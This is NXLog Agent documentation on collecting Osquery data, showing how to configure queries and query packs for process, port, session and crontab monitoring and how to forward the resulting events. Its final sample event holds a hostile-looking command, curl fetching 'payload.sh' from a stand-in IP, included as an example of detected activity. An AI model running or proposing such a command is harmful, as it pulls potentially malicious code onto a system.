Osquery
Osquery exposes operating system state as a relational data model and lets you query it using SQL. This makes it a popular tool for security monitoring, since processes, network connections, logged-in users, scheduled tasks, and many other OS-level details can be queried and monitored for changes through the same interface. Osquery is available for Linux, Windows, and macOS.
NXLog Agent integrates natively with Osquery through the Osquery input module.
This module manages the osqueryd process, so you configure queries directly from the NXLog Agent configuration instead of maintaining a separate Osquery configuration file or collecting Osquery’s own log files from disk.
About Osquery
Osquery uses SQL SELECT statements to retrieve information.
For example, the following statement lists running processes:
SELECT pid, name, path FROM processes;
For more information about Osquery’s query language and available tables, see the SQL Introduction and the Osquery schema on the Osquery website.
Collect Osquery data with NXLog Agent
NXLog Agent’s Osquery input module ships with its own osqueryd binary and manages the process for you: it generates the osqueryd configuration, starts and stops the process, and delivers each query result directly to NXLog Agent as an event.
You do not need to install Osquery separately.
There are two ways to define queries: inline with QueryMap or by referencing a query pack file with QueryPack.
Run inline queries
The QueryMap block defines a single query directly in the NXLog Agent configuration.
You can define multiple QueryMap blocks in an Osquery input module instance.
This configuration defines two queries: new_processes reports newly started processes, and listening_ports reports newly opened listening ports, a common indicator of a reverse shell or backdoor.
Both use the default differential reporting, filtered to only added rows.
<Extension json>
Module xm_json
</Extension>
<Input osquery>
Module im_osquery
<QueryMap>
Name new_processes (1)
Query "SELECT pid, name, path, cmdline, parent, uid FROM processes"
Interval 30
OsqueryEventType Added (2)
</QueryMap>
<QueryMap>
Name new_listening_ports (3)
Query "SELECT pid, port, protocol, address FROM listening_ports"
Interval 60
OsqueryEventType Added
</QueryMap>
Exec to_json();
</Input>
| 1 | The Name directive identifies the query and sets the name field of the resulting event. |
| 2 | The OsqueryEventType directive limits results to newly added rows, so a process or port that disappears between polls is not reported. |
| 3 | A second QueryMap block in the same input module instance defines an independent query with its own schedule. |
Query results are available in the $columns field, keyed by column name.
The following are sample events generated by the configuration above.
{
"action": "added",
"calendarTime": "Thu Jul 2 08:05:20 2026 UTC",
"columns": {
"cmdline": "/opt/nxlog/bin/nxlog -f -q",
"name": "nxlog",
"parent": "1",
"path": "/opt/nxlog/bin/nxlog",
"pid": "10014",
"uid": "0"
},
"counter": 0,
"epoch": 0,
"hostIdentifier": "SRV01",
"name": "new_processes",
"numerics": false,
"unixTime": 1782979520,
"EventReceivedTime": "2026-07-02T08:05:21.045764+00:00",
"SourceModuleName": "osquery",
"SourceModuleType": "im_osquery",
"Hostname": "SRV01"
}
{
"action": "added",
"calendarTime": "Thu Jul 2 08:06:10 2026 UTC",
"columns": {
"address": "127.0.0.1",
"pid": "3615",
"port": "45547",
"protocol": "6"
},
"counter": 0,
"epoch": 0,
"hostIdentifier": "SRV01",
"name": "new_listening_ports",
"numerics": false,
"unixTime": 1782979570,
"EventReceivedTime": "2026-07-02T08:06:10.904233+00:00",
"SourceModuleName": "osquery",
"SourceModuleType": "im_osquery",
"Hostname": "SRV01"
}
Run a query pack
A query pack is a JSON file containing one or more named queries, in the same format as the queries section of an osqueryd configuration.
Packs are a convenient way to reuse or share a set of related queries.
Osquery ships with several packs covering common use cases; see the official packs for examples.
This configuration loads a custom pack containing two queries: logged_in_users reports newly started or ended user sessions, and crontab_changes reports newly added or removed scheduled tasks, a common persistence mechanism.
{
"queries": {
"logged_in_users": {
"query": "SELECT user, host, time FROM logged_in_users",
"interval": 300,
"description": "New or ended user sessions"
},
"crontab_changes": {
"query": "SELECT command, path FROM crontab",
"interval": 3600,
"description": "New or modified scheduled tasks, a common persistence mechanism"
}
}
}
<Extension json>
Module xm_json
</Extension>
<Input osquery>
Module im_osquery
<QueryPack>
Path /opt/osquery/packs/security-pack.conf (1)
</QueryPack>
Exec to_json();
</Input>
| 1 | The Path directive points to the pack file and can be specified multiple times to load several packs. |
Events generated from a pack query are named pack_<pack-file-name>_<query-name>.
{
"action": "added",
"calendarTime": "Fri Jul 10 08:19:12 2026 UTC",
"columns": {
"host": "tty2",
"time": "1783671300",
"user": "jdoe"
},
"counter": 0,
"epoch": 0,
"hostIdentifier": "SRV02",
"name": "pack_security-pack_logged_in_users",
"numerics": false,
"unixTime": 1783671552,
"EventReceivedTime": "2026-07-10T08:19:12.447413+00:00",
"SourceModuleName": "osquery",
"SourceModuleType": "im_osquery",
"Hostname": "SRV02"
}
The Osquery input module also supports directives for log rotation (LogRotation, LogRotationSize, LogRotationMaxFiles) and the log verbosity of osqueryd (OsqueryLogLevel).
See the reference manual for the full list of directives.
|
Process and forward Osquery events
Once collected, you can process Osquery events like any other NXLog Agent event and forward them with an output module.
This configuration collects new process events, adds a human-readable $Message field, converts the event to JSON, and forwards it using the TCP output module.
<Extension json>
Module xm_json
</Extension>
<Input osquery>
Module im_osquery
<QueryMap>
Name new_processes
Query "SELECT pid, name, path, cmdline, parent, uid FROM processes"
Interval 30
OsqueryEventType Added
</QueryMap>
<Exec>
$Message = "New process: " + $columns('name') + " (pid " + $columns('pid') + ")"; (1)
delete($hostIdentifier); (2)
to_json(); (3)
</Exec>
</Input>
| 1 | Builds a message from the query result $columns field. |
| 2 | Removes the $hostIdentifier field added by the Osquery input module, since the $Hostname core field already identifies the host. |
| 3 | The to_json() procedure converts the event to JSON format and writes it to the $raw_event core field. The TCP output module uses this field when forwarding the event. |
{
"action": "added",
"calendarTime": "Fri Jul 10 08:56:24 2026 UTC",
"columns": {
"cmdline": "curl http://198.51.100.23/payload.sh",
"name": "curl",
"parent": "9454",
"path": "/usr/bin/curl",
"pid": "9456",
"uid": "0"
},
"counter": 0,
"epoch": 0,
"name": "new_processes",
"numerics": false,
"unixTime": 1783673784,
"EventReceivedTime": "2026-07-10T08:56:24.778724+00:00",
"SourceModuleName": "osquery",
"SourceModuleType": "im_osquery",
"Hostname": "SRV02",
"Message": "New process: curl (pid 9456)"
}